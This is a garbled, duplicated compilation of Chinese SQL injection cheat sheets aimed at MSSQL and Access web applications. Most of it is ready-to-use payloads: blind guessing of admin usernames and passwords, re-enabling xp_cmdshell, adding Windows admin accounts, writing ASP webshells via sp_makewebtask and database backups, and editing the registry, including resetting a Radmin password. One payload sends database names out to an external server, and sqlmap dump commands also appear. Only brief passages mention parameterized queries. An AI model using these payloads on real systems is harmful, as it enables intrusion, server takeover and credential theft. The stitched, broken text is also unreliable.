常用SQL注入代码
常用SQL注入代码文章分类:数据库//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') asvarchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') asvarchar(1))%2Bchar(124)=1 --数字类型and char(124)%2Buser%2Bchar(124)=0字符类型' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名and user>0' and user>0 and ''='检测是否为SA权限and 1=(select IS_SRVROLEMEMBER('sysadmin'));--Andchar(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库and exists (select * from sysobjects);--检测是否支持多行;declare @d int;--恢复 xp_cmdshell;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * fromopenrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf' ,'select @@version')//-----------------------// 执行命令//-----------------------首先开启沙盘模式:exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1然后利用jet.oledb执行系统命令select * fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias \ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')执行命令;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1REG_SZ读注册表exec master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon','Userinit'读取目录内容exec master..xp_dirtree 'c:\winnt\system32\',1,1数据库备份backup database pubs to disk = 'c:\123.bak'//爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句:exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程EXEC [master]..sp_addextendedproc 'xp_proxiedadata','c:\winnt\system32\sqllog.dll'GRANT exec On xp_proxiedadata TO public停掉或激活某个服务。
exec master..xp_servicecontrol 'stop','schedule'exec master..xp_servicecontrol 'start','schedule'dbo.xp_subdirs只列某个目录下的子目录。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'dbo.xp_makecab将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
dbo.xp_makecab'c:\test.cab','mszip',1,'C:\Inetpub\wwwroot\SQLInject\login.asp','C:\Inetpub\wwwroot\SQLInject\securelogin.asp'xp_terminate_process停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process IDxp_terminate_process 2484xp_unpackcab解开压缩档。
xp_unpackcab 'c:\test.cab','c:\temp',1某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。
如果要修改端口值 EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','R EG_BINARY',0xd20400 则端口值改为1234create database lcx;Create TABLE ku(name nvarchar(256) null);Create TABLE biao(id int NULL,name nvarchar(256) null);//得到数据库名insert intoopendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pa fpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases//在Master中创建表,看看权限怎样Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--用 sp_makewebtask直接在web目录里写入一句话马:http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20 ';--//更新表内容Update films SET kind = 'Dramatic' Where id = 123//删除内容delete from table_name where Stockid = 3SQL注射语句的经典总结SQL注射语句1.判断有无注入点' ; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *)and 0<>(select count(*) from admin) ---判断是否存在admin这张表3.猜帐号数目如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个and 0<(select count(*) from admin)and 1<(select count(*) from admin)4.猜解字段名称在len( ) 括号里面加上我们想到的字段名称.and 1=(select count(*) from admin where len(*)>0)--and 1=(select count(*) from admin where len(用户字段名称name)>0)and 1=(select count(*) from admin where len(密码字段名称password)>0)5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止and 1=(select count(*) from admin where len(*)>0)and 1=(select count(*) from admin where len(name)>6) 错误and 1=(select count(*) from admin where len(name)>5) 正确长度是6 and 1=(select count(*) from admin where len(name)=6) 正确and 1=(select count(*) from admin where len(password)>11) 正确and 1=(select count(*) from admin where len(password)>12) 错误长度是12and 1=(select count(*) from admin where len(password)=12) 正确6.猜解字符and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.看服务器打的补丁=出错了打了SP4补丁and 1=(select @@VERSION)--看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
sql注入用例
sql注入用例SQL注入是一种常见的网络安全漏洞,可使攻击者在不正当访问数据库的情况下,执行恶意SQL语句。
为了更好地理解和应对SQL注入漏洞,下面将提供一些SQL注入的常见用例及预防措施。
1. 登录绕过任务描述:通过SQL注入绕过登录验证,并获取管理员权限。
回复内容:SQL注入漏洞能够使攻击者绕过应用程序的身份验证机制,获取未经授权的访问权限。
以下是一个常见的登录绕过用例:假设登录页面的用户名和密码验证的SQL查询语句如下:SELECT * FROM users WHERE username='输入的用户名' AND password='输入的密码';攻击者可以通过在用户名或密码输入框中注入恶意的SQL代码来绕过此验证步骤。
一个可能的注入用例是:输入的用户名:' OR 1=1 --输入的密码:任意密码那么原始的SQL查询语句将会变成:SELECT * FROM users WHERE username='' OR 1=1 --' AND password='任意密码';由于1=1始终为真,攻击者将绕过身份验证并成功登录。
预防措施:使用参数化查询或预编译语句,确保输入的数据被正确地转义和过滤,从而防止注入攻击。
2. 数据泄露任务描述:通过SQL注入获取敏感信息,如用户密码、个人信息等。
回复内容:SQL注入漏洞也可被用于从数据库中获取敏感信息。
以下是一个常见的示例用例:假设应用程序根据用户提供的ID参数从数据库中检索用户信息的SQL语句如下:SELECT * FROM users WHERE id='输入的ID';攻击者可以在输入的ID参数中注入额外的SQL代码,以获取其他用户的敏感信息。
一个可能的注入用例是:输入的ID:1' UNION SELECT username, password FROM users WHERE'1'='1那么原始的SQL查询语句将变成:SELECT * FROM users WHERE id='1' UNION SELECT username, password FROM users WHERE '1'='1';攻击者将获得所有用户的用户名和密码。
常见的SQL注入手法
常见的SQL注⼊⼿法SQL注⼊篇Access数据库简介Access数据库与其他数据库不同,他没有存储的库,所以只能猜表。
Access数据库结构a) 表、字段、数据检测表名是否存在Select ID From Admin where ID = 10 and exists(select * from Admin)Select ID From Admin where ID = 10 and exists(select * from Admin1)联合注⼊语法判断是否存在注⼊AND⽅法,前后判断必须都为trueSelect * From OrderList where ID = 34 and 1=1Select * From OrderList where ID = 34 and 1=2OR⽅法,前后判断⼀边为true即可Select * From OrderList where ID = 3 or 1=1Select * From OrderList where ID = 3 or 1=2判断字段数量Select * From Paydefault where ID = 1 order by 6Select * From Paydefault where ID = 1 order by 7报错,说明只有6个字段根据表查询数据Select * From Paydefault where ID = 1 and 1=2 union select 1,2,3,4,5,6 from PaydefaultFrom 后⾯的表名如果不对会报错,可以⽤来猜测表名数据回显Select * From Paydefault where ID = 1 and 1=2 union select 1,Paytype,3,4,5,6 from Paydefault布尔盲注利⽤ascii码来猜解字段值⾸先判断是否存在表名:And exists(select * from admin)不会报错,说明admin表是存在的,接下来就查列可以使⽤字典+⼯具去枚举列名如果列不存在,则会报错列存在返回正常知道了列之后,就可以去猜解zidu字段⾸先需要知道字段的长度,可以使⽤top len 函数Select * from admin where id = 1 and (select top 1 len(username) from admin)>1这句话的的意思很简单,id = 1之后是可控的内容,然后and⼀个判断true=true为true相反true=false为false,可控的内容使之我们的条件语句成⽴。
常用SQL注入代码
常用SQL注入代码文章分类:数据库//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --数字类型and char(124)%2Buser%2Bchar(124)=0字符类型' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名and user>0' and user>0 and ''='检测是否为SA权限and 1=(select IS_SRVROLEMEMBER('sysadmin'));--And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库and exists (select * from sysobjects);--检测是否支持多行;declare @d int;--恢复xp_cmdshell;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select {AT}@version')//-----------------------// 执行命令//-----------------------首先开启沙盘模式:exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD', 1然后利用jet.oledb执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','selectshell("cmd.exe /c net user admin admin1234 /add")')执行命令;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD', 1REG_SZ读注册表exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'读取目录内容exec master..xp_dirtree 'c:\winnt\system32\',1,1数据库备份backup database pubs to disk = 'c:\123.bak'//爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句:exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' GRANT exec On xp_proxiedadata TO public停掉或激活某个服务。
sql注入案例详解
sql注入案例详解SQL注入是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中注入恶意的SQL代码,从而可以绕过应用程序的验证和控制,进而执行恶意操作。
下面列举了10个常见的SQL注入案例,详细讲解其原理和防范措施。
1. 用户登录绕过:假设一个网站的用户登录页面是通过接收用户输入的用户名和密码来验证登录的。
攻击者可以在用户名或密码输入框中输入恶意的SQL语句,例如输入"admin' or '1'='1'",这样会绕过验证,登录成功。
防范措施:对接收到的用户输入进行严格的过滤和验证,使用参数化查询,避免直接拼接SQL语句。
2. 盲注:盲注是一种无需回显SQL查询结果的注入方式,攻击者通过构造恶意的SQL语句,可以通过判断返回结果的真假来获取敏感信息。
例如,攻击者可以通过构造类似于"1' and 1=1;"或"1' and 1=2;"的SQL语句,来判断条件是否成立。
防范措施:使用白名单或者黑名单来限制用户输入的合法内容,避免攻击者构造恶意的SQL语句。
3. UNION注入:UNION注入是一种利用UNION操作符的注入方式,攻击者通过构造恶意的SQL语句,可以将其他表的数据合并到查询结果中,从而获取敏感信息。
例如,攻击者可以通过构造类似于"1' UNION SELECT username, password FROM users;--"的SQL语句,来获取用户表中的用户名和密码。
防范措施:对用户输入进行严格的过滤和验证,使用参数化查询,避免直接拼接SQL语句。
4. 堆叠注入:堆叠注入是一种多个SQL语句连续执行的注入方式,攻击者通过构造恶意的SQL语句,可以执行多个SQL语句,从而实现恶意操作。
例如,攻击者可以通过构造类似于"1'; DROP TABLE users;--"的SQL语句,来删除用户表。
SQL手工注入大全
a比方说在查询id是50的数据时,如果用户传近来的参数是50 and 1=1,如果没有设置过滤的话,可以直接查出来,SQL 注入一般在ASP程序中遇到最多,看看下面的1.判断是否有注入;and 1=1;and 1=22.初步判断是否是mssql;and user>03.判断数据库系统;and (select count(*) from sysobjects)>0 mssql;and (select count(*) from msysobjects)>0 access4.注入参数是字符'and [查询条件] and ''='5.搜索时没过滤参数的'and [查询条件] and '%25'='6.猜数据库;and (select Count(*) from [数据库名])>07.猜字段;and (select Count(字段名) from 数据库名)>08.猜字段中记录长度;and (select top 1 len(字段名) from 数据库名)>09.(1)猜字段的ascii值(access);and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0(2)猜字段的ascii值(mssql);and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>010.测试权限结构(mssql);and 1=(select IS_SRVROLEMEMBER('sysadmin'));--;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--。
sql注入常用命令
sql注⼊常⽤命令1.判断是否有注⼊;and 1=1;and 1=22.初步判断是否是mssql;and user>03.判断数据库系统;and (select count(*) from sysobjects)>0 mssql;and (select count(*) from msysobjects)>0 access4.注⼊参数是字符'and [查询条件] and ''='5.搜索时没过滤参数的'and [查询条件] and '%25'='6.猜数表名;and (select Count(*) from [表名])>07.猜字段;and (select Count(字段名) from 表名)>08.猜字段中记录长度;and (select top 1 len(字段名) from 表名)>09.(1)猜字段的ascii值(access);and (select top 1 asc(mid(字段名,1,1)) from 表名)>0(2)猜字段的ascii值(mssql);and (select top 1 unicode(substring(字段名,1,1)) from 表名)>010.测试权限结构(mssql);and 1=(select IS_SRVROLEMEMBER('sysadmin'));--;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--;and 1=(select IS_MEMBER('db_owner'));--11.添加mssql和系统的帐户;exec master.dbo.sp_addlogin username;--;exec master.dbo.sp_password null,username,password;--;exec master.dbo.sp_addsrvrolemember sysadmin username;--;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes/add';--;exec master.dbo.xp_cmdshell 'net user username password /add';--;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--12.(1)遍历⽬录;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_dirtree 'c:\';and (select top 1 paths from dirs)>0;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)(2)遍历⽬录;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得⼦⽬录列表;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有⼦⽬录的⽬录树结构;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看⽂件的内容13.mssql中的存储过程xp_regenumvalues 注册表根键, ⼦键;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集⽅式返回所有键值xp_regread 根键,⼦键,键值名;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值xp_regwrite 根键,⼦键, 值名, 值类型, 值值类型有2种REG_SZ 表⽰字符型,REG_DWORD 表⽰整型;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写⼊注册表xp_regdeletevalue 根键,⼦键,值名exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值14.mssql的backup创建webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('<% Dim oScript %>');backup database model to disk='c:\l.asp';15.mssql内置函数;and (select @@version)>0 获得Windows的版本号;and user_name()='dbo' 判断当前系统的连接⽤户是不是sa;and (select user_name())>0 爆当前系统的连接⽤户;and (select db_name())>0 得到当前连接的数据库MSSQL⼿注暴库1.暴出当前表名和列名在注⼊点后提交“'having 1=1--",得到返回信息为英⽂,在这段英⽂中即可看到⼀个表名和⼀个列名。
常见sql注入的类型
常见sql注⼊的类型这⾥只讲解sql注⼊漏洞的基本类型,代码分析将放在另外⼀篇帖⼦讲解⽬录最基础的注⼊-union注⼊攻击Boolean注⼊攻击-布尔盲注报错注⼊攻击时间注⼊攻击-时间盲注堆叠查询注⼊攻击⼆次注⼊攻击宽字节注⼊攻击base64注⼊攻击cookie注⼊攻击-http请求头参数注⼊XFF注⼊攻击-http请求头参数注⼊知道绝对路径的注⼊0x01最基础的注⼊-union注⼊攻击1. 判断是get型还是post型注⼊;2. 找到正确的闭合规则;3. order by 查询字段数;4. union select 1,2.....查看显⽰位是第⼏位,没有的话就试试把id=1的显⽰位让出来,让其等于id=-1;5. 第⼆、三位显⽰出来了,那么即可在这两个位置写⼊sql语句;6. 查询当前数据库,当前mysql⽤户 union select 1,user(),database();7. 查询当前数据库⾥⾯的表 union select 1,2,group_concat(table_name) from information_schema.tables wheretable_schema="data_name";8. 查询到敏感表名user,继续查询表⾥⾯的字段 union select 1,2,group_concat(column_name) from information_schema.columnswhere table_name="user";9. 查询字段,例如“id”、"passwd"的内容 union select 1,id,passwd from user;10. 拿到⽤户、密码登⼊后台。
0x02 Boolean注⼊攻击-布尔盲注查看现象,能报错,但没有报错信息,正确查询也显⽰不了查询内容就属于布尔盲注,只存在两种状态,对或错;由页⾯的两种不同返回的状态来判定我们的闭合规则;为了⽅便,我们这⾥假设返回正确⽤“yes”,返回错误⽤“no”来表⽰这两种状态找到闭合规则后,我们在闭合规则⾥⾯ and 1=1 和 and 1=2 测试⼀下,看看最后返回是不是两种状态;布尔盲注要⽤到length()和substr()语句,⽤两种状态来猜解数据库、表名等的长度和正确字母;先⽤ and length(database())>2来猜数据库的长度,使⽤的是⼆分法;再⽤ and substr(database(),1,1)='t'来确定第⼀个字母,可⽤burp跑,26个字母,哪个字母返回yes则代表第⼀个字母就是它;and substr(database(),2,1)='t' 代表当前数据库的第⼆个字母;最后结合长度,成功的将数据库猜解出来;后⾯的操作跟union注⼊的步骤差不多了,只是sql语句写在上⽂的 database() 处。
sqlmap注入语句
sqlmap注入语句
SQL注入是一种常见的Web应用程序漏洞,它允许攻击者通过在用户输入中注入恶意SQL代码来执行非授权的数据库操作。
SQLMap是一款常用的自动化SQL注入工具,它可以帮助攻击者发现和利用SQL注入漏洞。
以下是一些使用SQLMap进行注入的示例语句:
1. 发现注入漏洞:
sqlmap -u " dbs
该命令将对给定的URL进行检测,找到可能的数据库,如MySQL、Oracle等。
2. 查看数据库信息:
sqlmap -u " -D database_name tables
该命令将列出指定数据库中的所有表。
3. 查看表内容:
sqlmap -u " -D database_name -T table_name dump
该命令将显示指定表中的数据。
4. 提取数据库中所有的用户名和密码:
sqlmap -u " -D database_name -T table_name -C "username,password" dump
该命令将从指定表中提取用户名和密码字段的内容。
以上是一些常见的SQLMap注入语句示例,具体的使用方法可以根据具体的情况和需要进行调整。
ctf 简单sql注入例子
ctf 简单sql注入例子下面是一个简单的SQL注入示例:假设我们有一个网站,这个网站的用户名登录功能是通过SQL查询来验证的。
查询的代码如下:SELECT * FROM users WHERE username='username' ANDpassword='password'其中,`username` 和`password` 是用户输入的值。
在这个示例中,我们可以通过在输入框中输入恶意字符串来进行SQL注入攻击,以绕过登录验证。
可以尝试以下几种注入方式:1. 注入方式:`' OR '1'='1' `这个注入方式将会使得SQL查询变成:SELECT * FROM users WHERE username='' OR '1'='1' ' ANDpassword=''这样,`OR '1'='1'` 将始终为真,使得查询结果不再仅限于目标用户,从而绕过登录验证。
2. 注入方式:`' OR 'a'='a' `这个注入方式将会使得SQL查询变成:SELECT * FROM users WHERE username='' OR 'a'='a' ' AND password=''同样地,`OR 'a'='a'` 始终为真,使得查询结果不再仅限于目标用户,从而绕过登录验证。
以上是一个简单的SQL注入示例。
请注意,这只是一个基础的例子,实际的注入攻击可能更加复杂和危险。
为了防止SQL注入攻击,我们应该遵循良好的编程实践,如使用参数化查询、输入验证和过滤等。
渗透常用SQL注入语句大全
渗透常用S Q L注入语句大全Prepared on 22 November 20201.判断有无注入点 ;and1=1and1=22.猜表一般的表的名称无非是adminadminuseruserpasspassword 等.. and0<>(selectcount(*)from*)and0<>(selectcount(*)fromadmin)—判断是否存在admin 这张表3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个 and0<(selectcount(*)fromadmin)and1<(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想到的字段名称.1 2 3 and 1=(selectcount(*)fromadminwherelen(*)>0)–and 1=(selectcount(*)fromadminwherelen(用户字段名称name)>0) and 1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0)5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止1 2 3 4 5 6 78 and 1=(selectcount(*)fromadminwherelen(*)>0)and 1=(selectcount(*)fromadminwherelen(name)>6)错误 and 1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6 and 1=(selectcount(*)fromadminwherelen(name)=6)正确 and 1=(selectcount(*)fromadminwherelen(password)>11)正确 and 1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12 and 1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位 and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC 码就OK.最后把结果再转换成字符.1 2 3 4 =1,,,=1–;insertintousersvalues(666,attacker,foobar,0xffff )–UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab5 6 7 8 9 le-UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_blank>_name)- UNIONSelectTOP 1login_blank>_nameFROMlogintable-UNIONSelectTOP 1passwordFROMlogintablewherelogin_blank>_name=Rahul – 看_blank>服务器打的补丁=出错了打了SP4补丁 and1=(select@@VERSION)–看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin 权限。
